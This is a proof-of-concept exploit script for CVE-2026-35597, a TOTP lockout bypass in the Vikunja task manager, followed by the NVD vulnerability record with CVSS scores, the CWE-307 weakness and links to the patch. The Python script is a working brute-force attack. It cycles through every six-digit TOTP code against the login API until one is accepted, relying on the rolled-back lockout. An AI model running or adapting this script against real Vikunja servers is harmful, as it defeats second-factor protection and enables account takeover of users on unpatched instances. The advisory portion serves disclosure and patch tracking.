CVE-2026-35597

# PoC for CVE-2026-35597: Vikunja TOTP Lockout Bypass # Description: This script demonstrates that an attacker can brute-force TOTP codes # without the account being locked out, because the database transaction # setting the 'locked' status is rolled back after every failed attempt. import requests def brute_force_vikunja_totp(target_url, username, password): session = requests.Session() # Simulate iterating through TOTP codes (000000 to 999999) for code in range(0, 1000000): totp_code = f"{code:06d}" payload = { "username": username, "password": password, "totp_passcode": totp_code } try: response = session.post(f"{target_url}/api/v1/login", json=payload) if response.status_code == 200: print(f"[+] Success! Valid TOTP found: {totp_code}") print(f"[+] Response: {response.text}") return else: # Due to the vulnerability, the account lock status is rolled back. # The attacker continues indefinitely. if code % 100 == 0: print(f"[*] Attempt {code}: Failed. Lockout bypassed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "http://localhost:3456" USER = "[email protected]" PASS = "password123" brute_force_vikunja_totp(TARGET, USER, PASS)

{"cve": {"id": "CVE-2026-35597", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:03.217", "lastModified": "2026-04-17T21:59:18.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. When a TOTP validation fails, the login handler in pkg/routes/api/v1/login.go calls HandleFailedTOTPAuth and then unconditionally rolls back. HandleFailedTOTPAuth in pkg/user/totp.go uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. This allows unlimited brute-force attempts against TOTP codes. This vulnerability is fixed in 2.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.0", "matchCriteriaId": "CC8B46CF-6E7B-46F4-8275-D1A38F2A6D5E"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/6ca0151d02fa0e8c7e2181ab916a28e08caaaec8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/pull/2576", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}